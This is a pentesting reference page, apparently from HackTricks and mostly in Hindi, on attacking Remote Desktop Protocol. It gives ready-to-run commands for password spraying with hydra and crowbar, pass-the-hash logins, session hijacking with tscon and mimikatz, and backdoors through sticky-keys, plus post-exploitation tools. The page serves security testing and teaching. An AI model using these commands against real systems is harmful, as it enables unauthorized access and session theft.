3389 - Pentesting RDP
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
Microsoft द्वारा विकसित, Remote Desktop Protocol (RDP) एक ग्राफिकल इंटरफेस कनेक्शन को नेटवर्क के माध्यम से कंप्यूटरों के बीच सक्षम करने के लिए डिज़ाइन किया गया है। ऐसे कनेक्शन को स्थापित करने के लिए, उपयोगकर्ता द्वारा RDP क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को RDP सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय डिवाइस पर लाता है।
Default port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeration
Automatic
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
यह उपलब्ध एन्क्रिप्शन और DoS कमजोरियों की जांच करता है (सेवा को DoS का कारण बने बिना) और NTLM Windows जानकारी (संस्करण) प्राप्त करता है।
Brute force
सावधान रहें, आप खातों को लॉक कर सकते हैं
Password Spraying
सावधान रहें, आप खातों को लॉक कर सकते हैं
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
ज्ञात क्रेडेंशियल्स/हैश के साथ कनेक्ट करें
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
RDP सेवाओं के खिलाफ ज्ञात क्रेडेंशियल्स की जांच करें
impacket से rdp_check.py आपको यह जांचने की अनुमति देता है कि क्या कुछ क्रेडेंशियल्स RDP सेवा के लिए मान्य हैं:
rdp_check <domain>/<name>:<password>@<IP>
हमले
सत्र चोरी
SYSTEM अनुमतियों के साथ, आप किसी भी उपयोगकर्ता द्वारा खोले गए RDP सत्र तक पहुँच सकते हैं बिना मालिक के पासवर्ड को जाने।
खुले सत्र प्राप्त करें:
query user
चुनी गई सत्र तक पहुँच
tscon <ID> /dest:<SESSIONNAME>
अब आप चयनित RDP सत्र के अंदर होंगे और आपको केवल Windows उपकरणों और सुविधाओं का उपयोग करके एक उपयोगकर्ता का अनुकरण करना होगा।
महत्वपूर्ण: जब आप एक सक्रिय RDP सत्र तक पहुँचते हैं, तो आप उस उपयोगकर्ता को बाहर कर देंगे जो इसका उपयोग कर रहा था।
आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ इंटरैक्ट करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क में सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)
Mimikatz
आप इसे करने के लिए mimikatz का भी उपयोग कर सकते हैं:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
इस तकनीक को stickykeys या utilman के साथ मिलाकर, आप किसी भी समय एक प्रशासनिक CMD और किसी भी RDP सत्र तक पहुँच सकते हैं।
आप पहले से ही इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
यदि किसी अन्य डोमेन से कोई व्यक्ति या बेहतर विशेषाधिकार के साथ RDP के माध्यम से उस PC में लॉगिन करता है जहाँ आप एक Admin हैं, तो आप उसके RDP सत्र प्रक्रिया में अपना बीकन इंजेक्ट कर सकते हैं और उसके रूप में कार्य कर सकते हैं:
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Automatic Tools
AutoRDPwn एक पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क है जो पॉवरशेल में बनाया गया है, जिसे मुख्य रूप से Microsoft Windows कंप्यूटर पर Shadow हमले को स्वचालित करने के लिए डिज़ाइन किया गया है। यह भेद्यता (जिसे Microsoft द्वारा एक विशेषता के रूप में सूचीबद्ध किया गया है) एक दूरस्थ हमलावर को बिना उसकी सहमति के अपने शिकार के डेस्कटॉप को देखने की अनुमति देती है, और यहां तक कि इसे मांग पर नियंत्रित करने की भी, ऑपरेटिंग सिस्टम के अपने मूल उपकरणों का उपयोग करके।
- EvilRDP
- कमांड लाइन से स्वचालित तरीके से माउस और कीबोर्ड को नियंत्रित करें
- कमांड लाइन से स्वचालित तरीके से क्लिपबोर्ड को नियंत्रित करें
- क्लाइंट से एक SOCKS प्रॉक्सी उत्पन्न करें जो RDP के माध्यम से लक्षित नेटवर्क संचार को चैनल करता है
- लक्षित पर फ़ाइलें अपलोड किए बिना मनचाहे SHELL और PowerShell कमांड निष्पादित करें
- लक्षित पर फ़ाइल ट्रांसफर बंद होने पर भी लक्षित से फ़ाइलें अपलोड और डाउनलोड करें
HackTricks Automatic Commands
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।